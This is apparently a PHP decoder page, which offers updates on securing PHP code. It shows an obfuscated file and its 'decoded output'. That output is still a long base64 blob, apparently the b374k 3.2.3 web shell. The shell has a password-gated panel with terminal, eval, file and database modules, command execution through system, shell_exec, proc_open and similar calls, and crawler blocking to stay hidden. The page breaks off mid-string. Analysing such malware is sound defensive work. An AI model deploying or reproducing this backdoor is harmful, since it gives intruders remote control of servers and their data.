Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a = strrev('EdOcEd_46eSaB'); // base64_decode $b= $a('Ci8qCgliMzc0ayBzaGVsbCAzLj..

Decoded Output download

<?php 
$a = strrev('EdOcEd_46eSaB');  // base64_decode 
$b= $a('Ci8qCgliMzc0ayBzaGVsbCAzLjIuMwoJSmF5YWxhaCBJbmRvbmVzaWFrdQoJKGMpMjAxNAoJaHR0cHM6Ly9naXRodWIuY29tL2IzNzRrL2IzNzRrCgoqLwokR0xPQkFMU1sncGFzcyddID0gImZiNjIxZjUwNjBiOWY2NWFjZjhlYjQyMzJlMzAyNDE0MGRlYTJiMzQiOyAvLyBzaGExKG1kNShwYXNzKSkKJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gPSBhcnJheSgiZXhwbG9yZXIiLCAidGVybWluYWwiLCAiZXZhbCIsICJjb252ZXJ0IiwgImRhdGFiYXNlIiwgImluZm8iLCAibWFpbCIsICJuZXR3b3JrIiwgInByb2Nlc3NlcyIpOyRHTE9CQUxTWydyZXNvdXJjZXMnXVsnYjM3NGsnXSA9ICJoVlhacnJNNEVuNmdqQVJoQzh5b0w5aFhROWdEZDJ4aEo1eXc4L1RqL09lZjd0UFNTRzNKd2paVlh5MWZsWjBuYy9MdnVrL0tBaG1IOGo5cE1oVVU4YTg2NEN4blEzVzVmTEZ3bUs1ZmlYNEpWOXhueTlvOEczMitUeHBocXM5Q2ZqaFNxRGhlaXNWb2prbEhiSE5jTEROMTdISmFHa3BESEdoZEZEcGtsblhkL2FOd2FHTWdWV2dvWG9IVm0ydnFrdFczUEVta0QvWjdDQnRTS0Z3VllYT1g4MXdkaC9tWU5taDl1eTJJV25OakxLQjFjQVltRUsrYmpRV3Z4SytvckErOG9pWDlDQi9mMGRtMWFrTmZWR0VucktHYU0vbmE1YkpZRnZKMVNnZEFGVkFmK3JSR3ZVOTk5bWtZb0pGTDE2cFNVbEJteStXSlVWdXBUVEd0VTZYSzlIbE9TSEc0RnZ3RkhOY0dDT0t1Q2hGbU5DSnFlaEVHM0swRURidURtdDQrMDZ6UjNSUmVWN041SGViQmxpci9lelpFZVZlME5tNUcxeEdqUC8zSmVxZS91OW9yVjV6TnF1azF4M1BjR0xMVDZKa2pQdWpkOGxyU09ObkRPTlhEZUVEOStub1dJWWxHajNLRytzMFBYREYrbUUzV2R6Q0diazFyN29qbGlJcENiYzBmTnFQVzZsODVnSEgrdEFuUGx0ODVXU0tNbVEyOHFqS2UzbzJHWFdIT2lUVGNsK3djSVVlYzZYbG9uU2dPbWdtdjFjQkk2T2Qzcm94ZmZESkU5R0JYNEJLYmdWMW40L2pMWm9ZN2JoeEdqTnBYYUs2d2xIRXdTM2I4eVgrVFl1aGF5Tkptbk9JQ2VPWU1sRzZMWGNhRk1VSC90ZVpUUzNFTklFK1FVMkVVSU9kVkxqTkhJRE5yQ2ptMXYvMHZmYmxhNGZtWnlNeW1pcVpuMXV3cndMb0Yyc0d6by8zV0Y2K20xWFlMOUtsS2U3TnpmWmlmVDYzdzVKaUVOZ1ZhUnpJaHgwQ3dDU0NVQi9Ba0NhQ1M0QWc1WjZMZ3REeDJOODlZc3Yzb0J4NjBqd2R6RExuNWdkZitIYy8vUjd4N3pkSWZmandmcFJ3NU9KSkgzTVZpZk1EOGxMOXpTQ1VoZWVheUJMa0tOQWZHL3BFMytnNzJ4dXR3UkI4MW0yZ0RUYmxaZ3JvRDN6OXQzeFJOVk1UdEU1Q3dmbkd6RFRnSDFzUC84R0J1bWp5OGR1bmcvTUJ6L281My9pUGUrdkhkd1A5UExYNXFsR2QrMWFQZk92SzMzSGUvL2VvL0QvNFhHQ0tUcFNiQkFsU1ZnK1hUNTFtdEl2ZUY4a1B0Yysvb2grczdYS0EweVZNeWMxY3pLMG01RmNpekV0cDNqOVVvYm8vVnRGZVJXd0xWTDlXaXJuVUtjWGxXOTNTemsxN2l6RGxQY1gxRUZiaWdzZzFtNEJ1M0w3ZjhjbEdiTjNWUGNLbE1DK1dhR3NqYkxWNXhwTGlrRndZbjRuSy9Qd1V1eDVzN1RlN25NRmpXdVR4UHd1WGZOK2ZXRHJwVkVrVVM1RXg0NThvcGpoRGNqTE5RUXowNVNmUmlpYy95eEpZQ2xKSjBHYWx3TUZDTGJVNmdYNTUwZTlsS1luL3NKbk1WeUdHaVh5M05Pd3JwWXZLcmRHbUYwOXZydnVTWGhlUFViZXpKODNEV0VMbE1DcXN0Z0I2bU4xREZUcWxSSkZIWVh1b1FTOFZDNTdDSzlhMGowYVpKTHdFdE1xbDlobk0xQ3FhalhQbHNKbUxyZEpLeWV5RENGRjI4elB6eS9Cd2JLN0Y1WGEwNkxFbGQ5eXZOUzVlRWVuamV6ZFZYdHpOR09lUW93VytXMEM1Q3BDZHFUUTJyRnkyc25IZkI1dExheG5qYUFUTDN5RFF3M250SzNwZ0Z2cWkzRmVDUEs3TU5tZWFicmpnTnVqdUY5WE5IT1QzeXlyd1M5bG8wdVdjVDg4dXVGYzBERFlubk82N1oySXo5WUEvMDZObG54Nko3NnBXTWQzMGpWUFpHSkR5djFxRDRpb1Z4RHRVbG9DOFYyejRzU0M5VEpJWjV2RmZybVkrRVBDSlNvM2NqY0ZNRGRCR1dWM3pDWitMZ2ErVk1UaEpoZjdXdHFrOENPOHVQZ2JGZHIrcEFML0VsWGZxOWFJenRvMlFZNldWdXBhaGhEY2VGNDR1N0kvVEUzMWhRSTJLRWlLdmhjN2JHanhid0dPeGFDVEtwdFdyWjNYTWF1WW1xTkxvVmI0UGh6VWJUTzBSTFEzVDh6VE9mSzN3amsrNlY1MkcvTGhocDd0NjVKaklGUk1NSkhqcmlsZ2I5VkdLR2JTYkE2LzRwZlhHVjI5Z3gyNzU1YXEyL2p1T2lHdm51MzI1a3F1RHNQVWk3RUcvd082ekhqRWhsVlRIdjhHNGhjamFUOG5ucVBQUm1oZGxhT1lHbXJzRmNvZ2d6Vk5wYkJsOWY0VGxLNmJXUW9xVU9ubm5LOHBsc2Rlc1o3V2htRlZzU3VQT3gxQkhwNDVvVXBFbFY3WGhoRS9UWXZmRlhLc3pLbDd0N1RrenB6Sk84bDZ6STlraTFzb0xheXBiOTZ3bDMvY0J5ZEpLUFZQV1Avd0k9IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydtaW1lJ10gPSAiZFpUaGRxTWdFSVgvN3puN0R2TUMyalo2MnQzSG1RZ2FHa2VwQ0RGdnZ4ZU5pczMyeHgzaHV3TVltVWt3U3ZjdlJXTXRJZnorRmJiNUNlQzBnc3ZwL1kxaVNFQVJRWkdBTW9KeUJaOVdOL1JwbTdBRG9VV05yRXcrVDdUSWJtZUpMZW1oZ05DVXU0RWRIMkVla0x3aDQ3U2QwRGNOOWZ1Qlg5NVUxOUdJcHErUnBOOTQ2RlN1ZEtYeml5SWZMbEM0UEhuU24wMnI0VW4wNWNtM2NhMk5ubjN5WFBSYzlOeVROMCtqRlhWOHBYRE82M2dtQmltdncwaFFpdUpIOEVOTE1ubVMwaDhzbDltVzc0Tm1kYzlGSzhPNXZRZUMwaXljN2ZQNGtYM3c4VVVPV3dRVGVrSlkyVTJmaFdKWXdaVFZ1Qm9vQWEwaEtBWElhSk1NaWJlWkxoRWVoOTVkbWVRSzUxb29CSmZZSGU2NGF4TGdNblkxTFpvT1BQUm5nZzdzaG5lV2J5UUFoVzlzQWp2dWRndGc0Y0NXVytPUS9FRFhtQXhGWlRUTk1URndqSXZIc0ZlbWYyRmxLeUhFRlp6Wm1ZcllrK3ZVeXNRb1F3ZzBENjQ4MENCbU01ZG00SDIrdEFDK0hMb1Vpb01DallCbnNXVXR6Y0FVbjg1T0szYUZFTFJOVFhzbGhIVysxZWs4Uldsd0xBOCsyS1l4STdmWnpYVEtrZTZQYXdjbTZJQkdSOUEzRkpzUGo0dEtlZXNyM1kxNTZFMmxxUTAyOWY1YjJJekNQaHpXZVQxd2poL1EydkxQNnl0dG94K1NQc3FQUjFJYy9aRDA5MzNkS1k3U3BNRllnbGEwZHNyMlNsUEdqTHZtS2dHbVJnR2JXWE5JdklwcmduWlF0MWdldzQ2U3RrbU8yZjRSQ3A5QTFES2psbms2TW1IVWZMTFlkaGsrYTd0YytjQkN3dzhtYnNBM3BrTngyajNoeG1ncjN1cDlFcHJrSHc9PSI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsnYXJyb3cnXSA9ICJGWlhIRHF0WURJWWZLQ1BSUzJaMEY0Y1NlbStCSGZWUUE2SEQwMCt1Ri9abnkyWHpTeTdTTmYyM0dWSllJdE1IL3BlbFMwbVQvelFoWjdrSHFrbHdCRDh6dmFBV0EvZ2ovbThLSUEvaVgrRHU4ak9qZnd2OG0xT2l0L0dqeGZzNVhZU3lSN3daOXNkaUxQYWlFN3J4d1ladkR6M3owRzBmTjlQdDFQcWlETHV5Umd6QTdzVnBvMk52TDNDZHk2cDFlU1MzVW0yMWVacWZXMnVjNlhjOVNUWWpHMEU4enliWjNseFlyR0xnbWlqNkZUZ0Qrb0UxZkh6UnlCOUlYcElGbFQrNko4WEFSTlJpdnFBRUx5Tlc2OTRmQllLZ2RRNTRpMlJxdU9nb0l3T3FFcFJLNkc2NnFrNEhqRkNBV1g5TlJwNWNVNmhNc2R2U1FoaUdDWHI3SG1meWwvVGFSOUt3akR4bGRXTnA5d3g3enV4MnNZMHVXVUFCRHhVUVdob0cyRHQ4V2xPWUl1SDhmanBlajBsMEFnM2swMUFIWXlMTk5vN2V4ekFTN2pjelRrNW9vZ3pObEVUVkw1ZzJUY0xZUUk3bjV5KzlkUlh6Z040ejE5ZktyNG1QQ3NMbStaNGZoYzluRmFiN09Sak1KU09hckgwWHhKTThiTUhCS2hFTnpncmVFbkI0UndGTmdVYjF3bTZ5TUZkOXN5UnQwclBDaEZKNGU3RDJtZDYzL2N6RkUrQjJMc054RXBrd1plTG50U1V1VXl1Q1RaR2IwYllNQmk5UGZUM0FDYUsvZllkVUU4R3pldUxYYkkwV2lJL3pSVDdzbldNVjd2WGMwQkxGd1F2SWZTWUtqZ3RvSWlLSk84cmVGVjRhaG5NQTFKUmRLeDFITWl5eU1vWm5NZ1FYN1cySmI0L3R1ZGFEUnRKT1VnWlk1RkFGYnBFbllRaUFCRVU1RStYeUt1M3BxUml6aDY3NkIyOVNzeWsxWlpjWndMS3dsbXM1aWdjbk9wMSsxZWtTU1FLOUx2MFMyWm5IOTJqcmdFYmpOMGI5ZE80NE9LNFo0bUljMlZ4b3h4WmVwek8rV0x6Y0pycmE4d1lHNVJLcUROZTN3K09EUW5yUHprK095Wm8rejhrTDhISzNYTmhjYzdDeTkyY1ZZVzNXc1ZacFN6WkNWRW9wTWxVdW4vWGxPRnpUV25WcHQ4U2hBRm1ac3hWQjNzTldrdkxBVVN4ZHloV01nZWExeUg0akpWQmIzUWFBRlByeFUzdjZWRDdEc0ZwT0NWeFN3UlpzVEZzdzZHYTFxRm1WVXhTM3RWOVdqSmtoa3haQU1hSExBNyswTko3ZHk5YWJrbXFocHBSOW9BWUlKTTlnM09IVEQrOCt3UXRrWU1DaUhTeFF4TUV6V3Zra3RLUHpnc2tmZC9GM200V0gwOWxBZlV0VGhRK0pBMnBNdmJuSjZ0OFNMd2R0elh2UjQ3WmUwWjBWa0M1RjZjN2VTeGw2bjgvcHVkSVlHbDg5TWl0eklIRXVYeFZZRDNKK3F0OW9RNFBKcXNRakVPZXdldEhaRVVmOFVDUllqSHc3dm14b2UwQmp0eDU5cDRQZnRSckRxWERSWFRMcVExTkdMVkU2MTNQVlpteWFpUmU2U25WOWI4U0NkQTkxQjdhMWhCOFJTM3hXSElYZFk2VDlUd0NjMHhSaTNJWkdUQjc0VlNzNnJMa3JYVm0walZqalFOc3RFejNEQ05PcFZ5M1hrOTFjVkp4YmFPS0ViRnZyUUN5MmZ4U1V6aGFudlBxNWJtY2NOV1RQRzNVYk1zWG9QV1NTNVRUVHZvL1c4THNpWjZTZHpkbTJxR1NxSmFwdnVuY2IvamxJMWM0aTYwTk41M1Rhc29nd0wwYS9HRm55RjRsZ2lHWFcyTjdCTnlMNUVFeVFBNDJMZFp0YW8yUzlmK3JlQTA0UURiYUVRdFJnMFlSbGIvRTBrc3ljaTRNTTFIbFZ2dnFRbHowYXFNWGVzc2x2cXo3WTRiYUwwV3ZOSHZmbFJuTE54TFI1SUZmYjlLclpUOTdMb3R6OE9GdEpKajl1Z1NGaFZZeTluemN1UnZDK3ZiRjZ6ZHJXcFl0UGVrK3J4amFlTW9nNHB2T0liSjN3T1RRbUZiM2QvYXROOUhWN1pzdVpGQUlSbmdoMG9WUUtaWGIrZmdCT2RRTktuRHNWUXZqbnovOD0iOwokR0xPQkFMU1sndmVyJ10gPSAiMy4yLjMiOwokR0xPQkFMU1sndGl0bGUnXSA9ICJiMzc0ayI7CgpAb2Jfc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKEVfRVJST1IgfCBFX1dBUk5JTkcgfCBFX1BBUlNFIHwgRV9OT1RJQ0UpOwpAaW5pX3NldCgnaHRtbF9lcnJvcnMnLCcwJyk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzEnKTsKQGluaV9zZXQoJ2Rpc3BsYXlfc3RhcnR1cF9lcnJvcnMnLCcxJyk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywnMCcpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBjbGVhcnN0YXRjYWNoZSgpOwoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXV0aCcpKXsKCWZ1bmN0aW9uIGF1dGgoKXsKCQlpZihpc3NldCgkR0xPQkFMU1sncGFzcyddKSAmJiAodHJpbSgkR0xPQkFMU1sncGFzcyddKSE9JycpKXsKCQkJJGMgPSAkX0NPT0tJRTsKCQkJJHAgPSAkX1BPU1Q7CgkJCWlmKGlzc2V0KCRwWydwYXNzJ10pKXsKCQkJCSR5b3VyX3Bhc3MgPSBzaGExKG1kNSgkcFsncGFzcyddKSk7CgkJCQlpZigkeW91cl9wYXNzPT0kR0xPQkFMU1sncGFzcyddKXsKCQkJCQlzZXRjb29raWUoInBhc3MiLCAkeW91cl9wYXNzLCB0aW1lKCkrMzYwMDAsICIvIik7CgkJCQkJaGVhZGVyKCJMb2NhdGlvbjogIi5nZXRfc2VsZigpKTsKCQkJCX0KCQkJfQoKCQkJaWYoIWlzc2V0KCRjWydwYXNzJ10pIHx8ICgoaXNzZXQoJGNbJ3Bhc3MnXSkmJigkY1sncGFzcyddIT0kR0xPQkFMU1sncGFzcyddKSkpKXsKCQkJCSRyZXMgPSAiPCFkb2N0eXBlIGh0bWw+CgkJPGh0bWw+CgkJPGhlYWQ+CgkJPG1ldGEgY2hhcnNldD0ndXRmLTgnPgoJCTxtZXRhIG5hbWU9J3JvYm90cycgY29udGVudD0nbm9pbmRleCwgbm9mb2xsb3csIG5vYXJjaGl2ZSc+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vLCB1c2VyLXNjYWxhYmxlPTAnPgoJCTwvaGVhZD4KCQk8Ym9keSBzdHlsZT0nYmFja2dyb3VuZDojZjhmOGY4O2NvbG9yOiMwMDAwMDA7cGFkZGluZzowO21hcmdpbjowOyc+PGJyPjxwPjxjZW50ZXI+PG5vc2NyaXB0PllvdSBuZWVkIHRvIGVuYWJsZSBqYXZhc2NyaXB0PC9ub3NjcmlwdD48L2NlbnRlcj48L3A+CgkJPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgoJCXZhciBkID0gZG9jdW1lbnQ7CgkJZC53cml0ZShcIjxicj48YnI+PGZvcm0gbWV0aG9kPSdwb3N0Jz48Y2VudGVyPjxpbnB1dCB0eXBlPSdwYXNzd29yZCcgaWQ9J3Bhc3MnIG5hbWU9J3Bhc3MnIHN0eWxlPSdmb250LXNpemU6MzRweDt3aWR0aDozNCU7b3V0bGluZTpub25lO3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91bmQ6I2ZmZmZmZjtwYWRkaW5nOjhweDtib3JkZXI6MXB4IHNvbGlkICNjY2NjY2M7Ym9yZGVyLXJhZGl1czo4cHg7Y29sb3I6IzAwMDAwMDsnPjwvY2VudGVyPjwvZm9ybT5cIik7CgkJZC5nZXRFbGVtZW50QnlJZCgncGFzcycpLmZvY3VzKCk7CgkJZC5nZXRFbGVtZW50QnlJZCgncGFzcycpLnNldEF0dHJpYnV0ZSgnYXV0b2NvbXBsZXRlJywgJ29mZicpOwoJCTwvc2NyaXB0PgoJCTwvYm9keT48L2h0bWw+CgkJIjsKCQkJCWVjaG8gJHJlczsKCQkJCWRpZSgpOwoJCQl9CgkJfQoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfc2VydmVyX2luZm8nKSl7CglmdW5jdGlvbiBnZXRfc2VydmVyX2luZm8oKXsKCQkkc2VydmVyX2FkZHIgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOiRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKCQkkc2VydmVyX2luZm9bJ2lwX2FkcnJlc3MnXSA9ICJTZXJ2ZXIgSVAgOiAiLiRzZXJ2ZXJfYWRkci4iIDxzcGFuIGNsYXNzPSdzdHJvbmcnPnw8L3NwYW4+IFlvdXIgSVAgOiAiLiRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoJCSRzZXJ2ZXJfaW5mb1sndGltZV9hdF9zZXJ2ZXInXSA9ICJUaW1lIDxzcGFuIGNsYXNzPSdzdHJvbmcnPkA8L3NwYW4+IFNlcnZlciA6ICIuQGRhdGUoImQgTSBZIEg6aTpzIix0aW1lKCkpOwoJCSRzZXJ2ZXJfaW5mb1sndW5hbWUnXSA9IHBocF91bmFtZSgpOwoJCSRzZXJ2ZXJfc29mdHdhcmUgPSAoZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSE9JycpPyBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLiIgPHNwYW4gY2xhc3M9J3N0cm9uZyc+fDwvc3Bhbj4gIjonJzsKCQkkc2VydmVyX2luZm9bJ3NvZnR3YXJlJ10gPSAkc2VydmVyX3NvZnR3YXJlLiIgIFBIUCAiLnBocHZlcnNpb24oKTsJCQoJCXJldHVybiAkc2VydmVyX2luZm87Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9zZWxmJykpewoJZnVuY3Rpb24gZ2V0X3NlbGYoKXsKCQkkcXVlcnkgPSAoaXNzZXQoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKSYmKCFlbXB0eSgkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl0pKSk/Ij8iLiRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXToiIjsKCQlyZXR1cm4gaHRtbF9zYWZlKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLiRxdWVyeSk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9wb3N0JykpewoJZnVuY3Rpb24gZ2V0X3Bvc3QoKXsKCQlyZXR1cm4gZml4X21hZ2ljX3F1b3RlKCRfUE9TVCk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9uYXYnKSl7CglmdW5jdGlvbiBnZXRfbmF2KCRwYXRoKXsKCQlyZXR1cm4gcGFyc2VfZGlyKCRwYXRoKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2N3ZCcpKXsKCWZ1bmN0aW9uIGdldF9jd2QoKXsKCQkkY3dkID0gZ2V0Y3dkKCkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlpZighaXNzZXQoJF9DT09LSUVbJ2N3ZCddKSl7CgkJCXNldGNvb2tpZSgiY3dkIiwgJGN3ZCk7CgkJfQoJCWVsc2V7CgkJCSRjd2RfYyA9IHJhd3VybGRlY29kZSgkX0NPT0tJRVsnY3dkJ10pOwoJCQlpZihpc19kaXIoJGN3ZF9jKSkgJGN3ZCA9IHJlYWxwYXRoKCRjd2RfYykuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJZWxzZSBzZXRjb29raWUoImN3ZCIsICRjd2QpOwoJCX0KCQlyZXR1cm4gJGN3ZDsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnd3JhcF93aXRoX3F1b3RlcycpKXsKCWZ1bmN0aW9uIHdyYXBfd2l0aF9xdW90ZXMoJHN0cil7CgkJcmV0dXJuICJcIiIuJHN0ci4iXCIiOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfcmVzb3VyY2UnKSl7CglmdW5jdGlvbiBnZXRfcmVzb3VyY2UoJHR5cGUpewoJCWlmKGlzc2V0KCRHTE9CQUxTWydyZXNvdXJjZXMnXVskdHlwZV0pKXsKCQkJcmV0dXJuIGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRHTE9CQUxTWydyZXNvdXJjZXMnXVskdHlwZV0pKTsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdibG9ja19ib3QnKSl7CglmdW5jdGlvbiBibG9ja19ib3QoKXsKCQkvLyBibG9jayBzZWFyY2ggZW5naW5lIGJvdAoJCWlmKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgJiYgKHByZWdfbWF0Y2goJy9ib3R8c3BpZGVyfGNyYXdsZXJ8c2x1cnB8dGVvbWF8YXJjaGl2ZXx0cmFja3xzbm9vcHl8amF2YXxsd3B8d2dldHxjdXJsfGNsaWVudHxweXRob258bGlid3d3L2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSl7CgkJCWhlYWRlcigiSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCIpOwoJCQloZWFkZXIoIlN0YXR1czogNDA0IE5vdCBGb3VuZCIpOwoJCQlkaWUoKTsKCQl9CgkJZWxzZWlmKCFpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXsKCQkJaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7CgkJCWhlYWRlcigiU3RhdHVzOiA0MDQgTm90IEZvdW5kIik7CgkJCWRpZSgpOwoJCX0KCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnaXNfd2luJykpewoJZnVuY3Rpb24gaXNfd2luKCl7CgkJcmV0dXJuIChzdHJ0b2xvd2VyKHN1YnN0cihwaHBfdW5hbWUoKSwwLDMpKSA9PSAid2luIik/IHRydWUgOiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZml4X21hZ2ljX3F1b3RlJykpewoJZnVuY3Rpb24gZml4X21hZ2ljX3F1b3RlKCRhcnIpewoJCSRxdW90ZXNfc3liYXNlID0gc3RydG9sb3dlcihpbmlfZ2V0KCdtYWdpY19xdW90ZXNfc3liYXNlJykpOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSAmJiBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJaWYoaXNfYXJyYXkoJGFycikpewoJCQkJZm9yZWFjaCgkYXJyIGFzICRrPT4kdil7CgkJCQkJaWYoaXNfYXJyYXkoJHYpKSAkYXJyWyRrXSA9IGNsZWFuKCR2KTsKCQkJCQllbHNlICRhcnJbJGtdID0gKGVtcHR5KCRxdW90ZXNfc3liYXNlKSB8fCAkcXVvdGVzX3N5YmFzZSA9PT0gJ29mZicpPyBzdHJpcHNsYXNoZXMoJHYpIDogc3RyaXBzbGFzaGVzKHN0cl9yZXBsYWNlKCJcJ1wnIiwgIlwnIiwgJHYpKTsKCQkJCX0KCQkJfQoJCX0KCQlyZXR1cm4gJGFycjsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZXhlY3V0ZScpKXsKCWZ1bmN0aW9uIGV4ZWN1dGUoJGNvZGUpewoJCSRvdXRwdXQgPSAiIjsKCQkkY29kZSA9ICRjb2RlLiIgMj4mMSI7CgoJCWlmKGlzX2NhbGxhYmxlKCdzeXN0ZW0nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsKCQkJb2Jfc3RhcnQoKTsKCQkJQHN5c3RlbSgkY29kZSk7CgkJCSRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsKCQkJb2JfZW5kX2NsZWFuKCk7CgkJCWlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7CgkJfQoJCWVsc2VpZihpc19jYWxsYWJsZSgnc2hlbGxfZXhlYycpICYmIGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKCQkJJG91dHB1dCA9IEBzaGVsbF9leGVjKCRjb2RlKTsKCQkJaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsKCQl9CgkJZWxzZWlmKGlzX2NhbGxhYmxlKCdleGVjJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewoJCQlAZXhlYygkY29kZSwkcmVzKTsKCQkJaWYoIWVtcHR5KCRyZXMpKSBmb3JlYWNoKCRyZXMgYXMgJGxpbmUpICRvdXRwdXQgLj0gJGxpbmU7CgkJCWlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7CgkJfQoJCWVsc2VpZihpc19jYWxsYWJsZSgncGFzc3RocnUnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpewoJCQlvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNvZGUpOwoJCQkkb3V0cHV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCW9iX2VuZF9jbGVhbigpOwoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQllbHNlaWYoaXNfY2FsbGFibGUoJ3Byb2Nfb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpewoJCQkkZGVzYyA9IGFycmF5KAoJCQkJMCA9PiBhcnJheSgicGlwZSIsICJyIiksCgkJCQkxID0+IGFycmF5KCJwaXBlIiwgInciKSwKCQkJCTIgPT4gYXJyYXkoInBpcGUiLCAidyIpKTsKCQkJJHByb2MgPSBAcHJvY19vcGVuKCRjb2RlLCAkZGVzYywgJHBpcGVzLCBnZXRjd2QoKSwgYXJyYXkoKSk7CgkJCWlmKGlzX3Jlc291cmNlKCRwcm9jKSl7CgkJCQl3aGlsZSgkcmVzID0gZmdldHMoJHBpcGVzWzFdKSl7CgkJCQkJaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7CgkJCQl9CgkJCQl3aGlsZSgkcmVzID0gZmdldHMoJHBpcGVzWzJdKSl7CgkJCQkJaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7CgkJCQl9CgkJCX0KCQkJQHByb2NfY2xvc2UoJHByb2MpOwoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQllbHNlaWYoaXNfY2FsbGFibGUoJ3BvcGVuJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsKCQkJJHJlcyA9IEBwb3BlbigkY29kZSwgJ3InKTsKCQkJaWYoJHJlcyl7CgkJCQl3aGlsZSghZmVvZigkcmVzKSl7CgkJCQkJJG91dHB1dCAuPSBmcmVhZCgkcmVzLCAyMDk2KTsKCQkJCX0KCQkJCXBjbG9zZSgkcmVzKTsKCQkJfQoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQlyZXR1cm4gIiI7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2h0bWxfc2FmZScpKXsKCWZ1bmN0aW9uIGh0bWxfc2FmZSgkc3RyKXsKCQlyZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkc3RyLCAyIHwgMSk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3BhcnNlX2RpcicpKXsKCWZ1bmN0aW9uIHBhcnNlX2RpcigkcGF0aCl7CgkJJHBhdGggPSByZWFscGF0aCgkcGF0aCkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkkcGF0aHMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICRwYXRoKTsKCQkkcmVzID0gIiI7CgkJZm9yKCRpID0gMDsgJGkgPCBzaXplb2YoJHBhdGhzKS0xOyAkaSsrKXsKCQkJJHggPSAiIjsKCQkJZm9yKCRqID0gMDsgJGogPD0gJGk7ICRqKyspICR4IC49ICRwYXRoc1skal0uRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJJHJlcyAuPSAiPGEgY2xhc3M9J25hdmJhcicgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkeCkuIic+Ii5odG1sX3NhZmUoJHBhdGhzWyRpXSkuIiAiLkRJUkVDVE9SWV9TRVBBUkFUT1IuIiA8L2E+IjsKCQl9CgkJaWYoaXNfd2luKCkpICRyZXMgPSBnZXRfZHJpdmVzKCkuJHJlczsKCQlyZXR1cm4gdHJpbSgkcmVzKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnem